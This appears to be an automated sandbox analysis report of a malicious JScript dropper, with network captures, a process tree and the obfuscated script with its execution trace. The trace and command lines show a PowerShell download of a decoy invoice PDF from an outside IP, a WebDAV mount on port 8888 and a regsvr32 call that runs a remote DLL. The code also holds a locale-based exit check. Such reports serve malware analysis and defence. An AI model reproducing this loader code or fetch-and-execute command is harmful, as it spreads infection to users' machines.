Jan 11, 2025 05:38:31.075207949 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 05:38:31.075218916 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 05:38:31.075231075 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 05:38:31.075241089 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 05:38:31.075253010 CET	672	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 11, 2025 05:38:31.075268984 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 11, 2025 05:38:31.075279951 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 11, 2025 05:38:31.075292110 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD
Jan 11, 2025 05:38:31.080255985 CET	104	IN	Data Raw: 00 4c 83 2f 96 00 60 d3 cc 1d b5 66 2c 34 ec 3b 52 42 c3 f3 fe 84 3f 4d 32 dc 69 69 86 f2 f4 b1 7a 52 2b 72 a3 5b b9 06 94 26 07 65 14 ce 94 d0 d4 40 53 fd fc e6 9b 6f fe 47 f9 a6 95 aa e8 ec 97 cd 7e 71 1a 11 fd e9 a7 9f 52 1e 4a 2d 26 d7 43 25 Data Ascii: L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	1848	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:38:32.650991917 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 05:38:33.483093023 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:38:33 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	23:38:26
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19726179161917216961.js"
Imagebase:	0x7ff7e8200000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	23:38:27
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30514958631640.dll
Imagebase:	0x7ff7dcb00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:38:27
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	23:38:27
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	23:38:31
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	23:38:31
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7dcb00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:38:31
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6157f0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	23:38:32
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	23:38:32
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	23:38:32
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2148 --field-trial-handle=1740,i,15317889719654110076,16104264370723604685,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function ffyoosqzo() {	ffyoosqzo() ➔ undefined
1	sryiehex = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var oyeqsmqew = this[dffiun + apxrbq + zvgzybylr + xzbifth + kqqla + upkat + dzuxtih + nujkwir] ( this[wambeyx + rhfvny + lqjqv + zvgzybylr + mbucue + dffiun + nujkwir][lmwhnu + zvgzybylr + kqqla + apxrbq + nujkwir + kqqla + dxkmdzlbh + rhxcbkf + gycdxhs + kqqla + lqjqv + nujkwir] ( wambeyx + rhfvny + lqjqv + zvgzybylr + mbucue + dffiun + nujkwir + edjfbmnoh + rhfvny + dgegmxkx + kqqla + dddkxqax + dddkxqax ) [ctgwvyk + kqqla + hwlzak + ctgwvyk + kqqla + apxrbq + mjwyg] ( srczjw + rmozgmt + oovqph + hrvuvxmtb + aqtzj + lmwhnu + wdtbkdyl + ctgwvyk + ctgwvyk + oovqph + ipowvpfuo + apwdccyb + aqtzj + wdtbkdyl + rhfvny + oovqph + ctgwvyk + rbzzbjbo + lmwhnu + jzvlvv + dzuxtih + nujkwir + zvgzybylr + jzvlvv + dddkxqax + bhekftdj + ddkuheqy + apxrbq + dzuxtih + kqqla + dddkxqax + rbzzbjbo + upkat + dzuxtih + nujkwir + kqqla + zvgzybylr + dzuxtih + apxrbq + nujkwir + mbucue + jzvlvv + dzuxtih + apxrbq + dddkxqax + rbzzbjbo + dweaklv + jzvlvv + lqjqv + apxrbq + dddkxqax + kqqla ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( hkrbcxi = 0 ; hkrbcxi < sryiehex[dddkxqax + kqqla + dzuxtih + hwlzak + nujkwir + dgegmxkx] ; ++ hkrbcxi )
4	{
5	if ( oyeqsmqew == sryiehex[hkrbcxi] )
6	{
7	oyeqsmqew = true;
8	break ;
9	}
10	}
11	if ( oyeqsmqew !== true )
12	this[wambeyx + rhfvny + lqjqv + zvgzybylr + mbucue + dffiun + nujkwir][cezgtsh + icjmg + mbucue + nujkwir] ( );
13	this[wambeyx + rhfvny + lqjqv + zvgzybylr + mbucue + dffiun + nujkwir][lmwhnu + zvgzybylr + kqqla + apxrbq + nujkwir + kqqla + dxkmdzlbh + rhxcbkf + gycdxhs + kqqla + lqjqv + nujkwir] ( wambeyx + rhfvny + lqjqv + zvgzybylr + mbucue + dffiun + nujkwir + edjfbmnoh + rhfvny + dgegmxkx + kqqla + dddkxqax + dddkxqax ) [zvgzybylr + icjmg + dzuxtih] ( lqjqv + fyrki + mjwyg + bhekftdj + eangjwi + lqjqv + bhekftdj + dffiun + jzvlvv + ngemqxm + kqqla + zvgzybylr + xzbifth + dgegmxkx + kqqla + dddkxqax + dddkxqax + edjfbmnoh + kqqla + qiczabehq + kqqla + bhekftdj + yhdmqvv + lmwhnu + jzvlvv + fyrki + fyrki + apxrbq + dzuxtih + mjwyg + bhekftdj + sllhg + upkat + dzuxtih + crfxvp + jzvlvv + sgcav + kqqla + yhdmqvv + wambeyx + kqqla + rhxcbkf + ctgwvyk + kqqla + kjhwkpzq + icjmg + kqqla + xzbifth + nujkwir + bhekftdj + yhdmqvv + dxkmdzlbh + icjmg + nujkwir + znqnclvma + mbucue + dddkxqax + kqqla + bhekftdj + zmkapn + nujkwir + kqqla + fyrki + dffiun + zmkapn + rbzzbjbo + mbucue + dzuxtih + crfxvp + jzvlvv + mbucue + lqjqv + kqqla + edjfbmnoh + dffiun + mjwyg + jpuoacc + bhekftdj + dgegmxkx + nujkwir + nujkwir + dffiun + hgela + eangjwi + eangjwi + imgkmu + izhlj + czotpocx + edjfbmnoh + imgkmu + qbrzviza + czotpocx + edjfbmnoh + imgkmu + edjfbmnoh + vmlalpfcy + tfkgtbs + yspagkxfy + eangjwi + mbucue + dzuxtih + crfxvp + jzvlvv + mbucue + lqjqv + kqqla + edjfbmnoh + dffiun + dgegmxkx + dffiun + sllhg + hxbnzrli + hxbnzrli + xzbifth + nujkwir + apxrbq + zvgzybylr + nujkwir + bhekftdj + zmkapn + nujkwir + kqqla + fyrki + dffiun + zmkapn + rbzzbjbo + mbucue + dzuxtih + crfxvp + jzvlvv + mbucue + lqjqv + kqqla + edjfbmnoh + dffiun + mjwyg + jpuoacc + hxbnzrli + hxbnzrli + lqjqv + fyrki + mjwyg + bhekftdj + eangjwi + lqjqv + bhekftdj + dzuxtih + kqqla + nujkwir + bhekftdj + icjmg + xzbifth + kqqla + bhekftdj + rbzzbjbo + rbzzbjbo + imgkmu + izhlj + czotpocx + edjfbmnoh + imgkmu + qbrzviza + czotpocx + edjfbmnoh + imgkmu + edjfbmnoh + vmlalpfcy + tfkgtbs + yspagkxfy + eploor + nboup + nboup + nboup + nboup + rbzzbjbo + mjwyg + apxrbq + crfxvp + ngemqxm + ngemqxm + ngemqxm + zvgzybylr + jzvlvv + jzvlvv + nujkwir + rbzzbjbo + hxbnzrli + hxbnzrli + lqjqv + fyrki + mjwyg + bhekftdj + eangjwi + lqjqv + bhekftdj + zvgzybylr + kqqla + hwlzak + xzbifth + crfxvp + zvgzybylr + czotpocx + vmlalpfcy + bhekftdj + eangjwi + xzbifth + bhekftdj + rbzzbjbo + rbzzbjbo + imgkmu + izhlj + czotpocx + edjfbmnoh + imgkmu + qbrzviza + czotpocx + edjfbmnoh + imgkmu + edjfbmnoh + vmlalpfcy + tfkgtbs + yspagkxfy + eploor + nboup + nboup + nboup + nboup + rbzzbjbo + mjwyg + apxrbq + crfxvp + ngemqxm + ngemqxm + ngemqxm + zvgzybylr + jzvlvv + jzvlvv + nujkwir + rbzzbjbo + czotpocx + tfkgtbs + yspagkxfy + imgkmu + qbrzviza + izhlj + yspagkxfy + nboup + wmajoki + czotpocx + imgkmu + wmajoki + qbrzviza + tfkgtbs + edjfbmnoh + mjwyg + dddkxqax + dddkxqax, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30514958631640.dll",0,false) ➔ 0
14	}
15	dweaklv = "Q";
16	dweaklv = "J";
17	dweaklv = "w";
18	dweaklv = "i";
19	dweaklv = "i";
20	dweaklv = "C";
21	dweaklv = "C";
22	dweaklv = "X";
23	dweaklv = "b";
24	dweaklv = "C";
25	dweaklv = "b";
26	dweaklv = "s";
27	dweaklv = "F";
28	dweaklv = "u";
29	dweaklv = "b";
30	dweaklv = "g";
31	dweaklv = "Z";
32	dweaklv = "Q";
33	dweaklv = "Q";
34	dweaklv = "u";
35	dweaklv = "W";
36	dweaklv = "A";
37	dweaklv = "N";
38	dweaklv = "X";
39	dweaklv = "S";
40	dweaklv = "L";
41	qbrzviza = "N";
42	qbrzviza = "4";
43	sgcav = "R";
44	sgcav = "k";
45	sgcav = "W";
46	sgcav = "e";
47	sgcav = "J";
48	sgcav = "i";
49	sgcav = "x";
50	sgcav = "K";
51	sgcav = "A";
52	sgcav = "U";
53	sgcav = "j";
54	sgcav = "v";
55	sgcav = "s";
56	sgcav = "D";
57	sgcav = "K";
58	sgcav = "x";
59	sgcav = "y";
60	sgcav = "k";
61	fyrki = "I";
62	fyrki = "m";
63	zvgzybylr = "x";
64	zvgzybylr = "k";
65	zvgzybylr = "F";
66	zvgzybylr = "n";
67	zvgzybylr = "x";
68	zvgzybylr = "F";
69	zvgzybylr = "j";
70	zvgzybylr = "U";
71	zvgzybylr = "o";
72	zvgzybylr = "l";
73	zvgzybylr = "g";
74	zvgzybylr = "G";
75	zvgzybylr = "z";
76	zvgzybylr = "F";
77	zvgzybylr = "Y";
78	zvgzybylr = "b";
79	zvgzybylr = "N";
80	zvgzybylr = "f";
81	zvgzybylr = "B";
82	zvgzybylr = "A";
83	zvgzybylr = "B";
84	zvgzybylr = "V";
85	zvgzybylr = "p";
86	zvgzybylr = "s";
87	zvgzybylr = "x";
88	zvgzybylr = "i";
89	zvgzybylr = "N";
90	zvgzybylr = "c";
91	zvgzybylr = "p";
92	zvgzybylr = "r";
93	ddkuheqy = "p";
94	ddkuheqy = "f";
95	ddkuheqy = "e";
96	ddkuheqy = "B";
97	ddkuheqy = "l";
98	ddkuheqy = "e";
99	ddkuheqy = "i";
100	ddkuheqy = "s";
101	ddkuheqy = "H";
102	ddkuheqy = "M";
103	ddkuheqy = "P";
104	ddkuheqy = "d";
105	ddkuheqy = "W";
106	ddkuheqy = "x";
107	ddkuheqy = "m";
108	ddkuheqy = "M";
109	ddkuheqy = "V";
110	ddkuheqy = "X";
111	ddkuheqy = "C";
112	ddkuheqy = "a";
113	ddkuheqy = "a";
114	ddkuheqy = "t";
115	ddkuheqy = "r";
116	ddkuheqy = "U";
117	ddkuheqy = "g";
118	ddkuheqy = "f";
119	ddkuheqy = "T";
120	ddkuheqy = "z";
121	ddkuheqy = "g";
122	ddkuheqy = "S";
123	ddkuheqy = "Y";
124	ddkuheqy = "W";
125	ddkuheqy = "P";
126	ddkuheqy = "i";
127	ddkuheqy = "P";
128	srczjw = "V";
129	srczjw = "S";
130	srczjw = "p";
131	srczjw = "g";
132	srczjw = "t";
133	srczjw = "r";
134	srczjw = "Q";
135	srczjw = "p";
136	srczjw = "r";
137	srczjw = "B";
138	srczjw = "V";
139	srczjw = "P";
140	srczjw = "K";
141	srczjw = "a";
142	srczjw = "V";
143	srczjw = "x";
144	srczjw = "P";
145	srczjw = "d";
146	srczjw = "f";
147	srczjw = "e";
148	srczjw = "Z";
149	srczjw = "v";
150	srczjw = "b";
151	srczjw = "e";
152	srczjw = "L";
153	srczjw = "k";
154	srczjw = "m";
155	srczjw = "m";
156	srczjw = "v";
157	srczjw = "C";
158	srczjw = "c";
159	srczjw = "h";
160	srczjw = "l";
161	srczjw = "H";
162	gycdxhs = "S";
163	gycdxhs = "Q";
164	gycdxhs = "Z";
165	gycdxhs = "V";
166	gycdxhs = "F";
167	gycdxhs = "p";
168	gycdxhs = "y";
169	gycdxhs = "D";
170	gycdxhs = "J";
171	gycdxhs = "V";
172	gycdxhs = "j";
173	hgela = "F";
174	hgela = "b";
175	hgela = "m";
176	hgela = "L";
177	hgela = "r";
178	hgela = "N";
179	hgela = "W";
180	hgela = "x";
181	hgela = "q";
182	hgela = "s";
183	hgela = "d";
184	hgela = "N";
185	hgela = "f";
186	hgela = "g";
187	hgela = "H";
188	hgela = "r";
189	hgela = "y";
190	hgela = "p";
191	hgela = "L";
192	hgela = "R";
193	hgela = "U";
194	hgela = "V";
195	hgela = "c";
196	hgela = "Y";
197	hgela = "P";
198	hgela = "d";
199	hgela = "s";
200	hgela = "g";
201	hgela = "D";
202	hgela = "O";
203	hgela = "Q";
204	hgela = "r";
205	hgela = "u";
206	hgela = "u";
207	hgela = "d";
208	hgela = "X";
209	hgela = "K";
210	hgela = "y";
211	hgela = ":";
212	edjfbmnoh = "V";
213	edjfbmnoh = "z";
214	edjfbmnoh = "P";
215	edjfbmnoh = "y";
216	edjfbmnoh = "w";
217	edjfbmnoh = "g";
218	edjfbmnoh = "i";
219	edjfbmnoh = "W";
220	edjfbmnoh = "F";
221	edjfbmnoh = "u";
222	edjfbmnoh = "H";
223	edjfbmnoh = "V";
224	edjfbmnoh = "t";
225	edjfbmnoh = "X";
226	edjfbmnoh = "h";
227	edjfbmnoh = "A";
228	edjfbmnoh = "m";
229	edjfbmnoh = "B";
230	edjfbmnoh = "C";
231	edjfbmnoh = ".";
232	znqnclvma = "K";
233	znqnclvma = "j";
234	znqnclvma = "J";
235	znqnclvma = "a";
236	znqnclvma = "d";
237	znqnclvma = "v";
238	znqnclvma = "x";
239	znqnclvma = "O";
240	znqnclvma = "z";
241	znqnclvma = "h";
242	znqnclvma = "d";
243	znqnclvma = "N";
244	znqnclvma = "z";
245	znqnclvma = "j";
246	znqnclvma = "H";
247	znqnclvma = "y";
248	znqnclvma = "s";
249	znqnclvma = "y";
250	znqnclvma = "v";
251	znqnclvma = "o";
252	znqnclvma = "S";
253	znqnclvma = "f";
254	znqnclvma = "e";
255	znqnclvma = "l";
256	znqnclvma = "n";
257	znqnclvma = "C";
258	znqnclvma = "f";
259	znqnclvma = "d";
260	znqnclvma = "j";
261	znqnclvma = "Q";
262	znqnclvma = "g";
263	znqnclvma = "F";
264	znqnclvma = "R";
265	znqnclvma = "F";
266	znqnclvma = "a";
267	znqnclvma = "r";
268	znqnclvma = "F";
269	vmlalpfcy = "u";
270	vmlalpfcy = "n";
271	vmlalpfcy = "z";
272	vmlalpfcy = "r";
273	vmlalpfcy = "l";
274	vmlalpfcy = "G";
275	vmlalpfcy = "L";
276	vmlalpfcy = "r";
277	vmlalpfcy = "U";
278	vmlalpfcy = "y";
279	vmlalpfcy = "J";
280	vmlalpfcy = "a";
281	vmlalpfcy = "O";
282	vmlalpfcy = "l";
283	vmlalpfcy = "W";
284	vmlalpfcy = "l";
285	vmlalpfcy = "D";
286	vmlalpfcy = "s";
287	vmlalpfcy = "J";
288	vmlalpfcy = "Z";
289	vmlalpfcy = "o";
290	vmlalpfcy = "N";
291	vmlalpfcy = "R";
292	vmlalpfcy = "O";
293	vmlalpfcy = "v";
294	vmlalpfcy = "E";
295	vmlalpfcy = "g";
296	vmlalpfcy = "u";
297	vmlalpfcy = "h";
298	vmlalpfcy = "u";
299	vmlalpfcy = "R";
300	vmlalpfcy = "O";
301	vmlalpfcy = "F";
302	vmlalpfcy = "T";
303	vmlalpfcy = "2";
304	zmkapn = "f";
305	zmkapn = "u";
306	zmkapn = "y";
307	zmkapn = "H";
308	zmkapn = "e";
309	zmkapn = "k";
310	zmkapn = "h";
311	zmkapn = "W";
312	zmkapn = "z";
313	zmkapn = "B";
314	zmkapn = "K";
315	zmkapn = "H";
316	zmkapn = "r";
317	zmkapn = "F";
318	zmkapn = "J";
319	zmkapn = "g";
320	zmkapn = "C";
321	zmkapn = "E";
322	zmkapn = "s";
323	zmkapn = "e";
324	zmkapn = "C";
325	zmkapn = "T";
326	zmkapn = "X";
327	zmkapn = "R";
328	zmkapn = "U";
329	zmkapn = "s";
330	zmkapn = "S";
331	zmkapn = "m";
332	zmkapn = "S";
333	zmkapn = "y";
334	zmkapn = "a";
335	zmkapn = "g";
336	zmkapn = "z";
337	zmkapn = "b";
338	zmkapn = "s";
339	zmkapn = "v";
340	zmkapn = "R";
341	zmkapn = "T";
342	zmkapn = "%";
343	imgkmu = "L";
344	imgkmu = "G";
345	imgkmu = "U";
346	imgkmu = "U";
347	imgkmu = "Q";
348	imgkmu = "X";
349	imgkmu = "I";
350	imgkmu = "D";
351	imgkmu = "e";
352	imgkmu = "O";
353	imgkmu = "o";
354	imgkmu = "V";
355	imgkmu = "l";
356	imgkmu = "T";
357	imgkmu = "p";
358	imgkmu = "O";
359	imgkmu = "r";
360	imgkmu = "r";
361	imgkmu = "d";
362	imgkmu = "h";
363	imgkmu = "1";
364	dffiun = "p";
365	dffiun = "j";
366	dffiun = "I";
367	dffiun = "h";
368	dffiun = "L";
369	dffiun = "i";
370	dffiun = "j";
371	dffiun = "H";
372	dffiun = "a";
373	dffiun = "z";
374	dffiun = "C";
375	dffiun = "u";
376	dffiun = "A";
377	dffiun = "B";
378	dffiun = "x";
379	dffiun = "q";
380	dffiun = "V";
381	dffiun = "U";
382	dffiun = "K";
383	dffiun = "f";
384	dffiun = "h";
385	dffiun = "Q";
386	dffiun = "q";
387	dffiun = "W";
388	dffiun = "c";
389	dffiun = "i";
390	dffiun = "i";
391	dffiun = "C";
392	dffiun = "p";
393	yhdmqvv = "X";
394	yhdmqvv = "H";
395	yhdmqvv = "r";
396	yhdmqvv = "N";
397	yhdmqvv = "b";
398	yhdmqvv = "L";
399	yhdmqvv = "q";
400	yhdmqvv = "n";
401	yhdmqvv = "Z";
402	yhdmqvv = "Q";
403	yhdmqvv = "G";
404	yhdmqvv = "X";
405	yhdmqvv = "m";
406	yhdmqvv = "e";
407	yhdmqvv = "W";
408	yhdmqvv = "P";
409	yhdmqvv = "-";
410	dgegmxkx = "i";
411	dgegmxkx = "g";
412	dgegmxkx = "R";
413	dgegmxkx = "O";
414	dgegmxkx = "O";
415	dgegmxkx = "D";
416	dgegmxkx = "t";
417	dgegmxkx = "h";
418	apxrbq = "Q";
419	apxrbq = "N";
420	apxrbq = "v";
421	apxrbq = "G";
422	apxrbq = "a";
423	tfkgtbs = "J";
424	tfkgtbs = "n";
425	tfkgtbs = "t";
426	tfkgtbs = "L";
427	tfkgtbs = "U";
428	tfkgtbs = "B";
429	tfkgtbs = "W";
430	tfkgtbs = "J";
431	tfkgtbs = "C";
432	tfkgtbs = "D";
433	tfkgtbs = "r";
434	tfkgtbs = "i";
435	tfkgtbs = "h";
436	tfkgtbs = "l";
437	tfkgtbs = "b";
438	tfkgtbs = "j";
439	tfkgtbs = "P";
440	tfkgtbs = "d";
441	tfkgtbs = "U";
442	tfkgtbs = "N";
443	tfkgtbs = "T";
444	tfkgtbs = "Z";
445	tfkgtbs = "F";
446	tfkgtbs = "w";
447	tfkgtbs = "c";
448	tfkgtbs = "D";
449	tfkgtbs = "K";
450	tfkgtbs = "y";
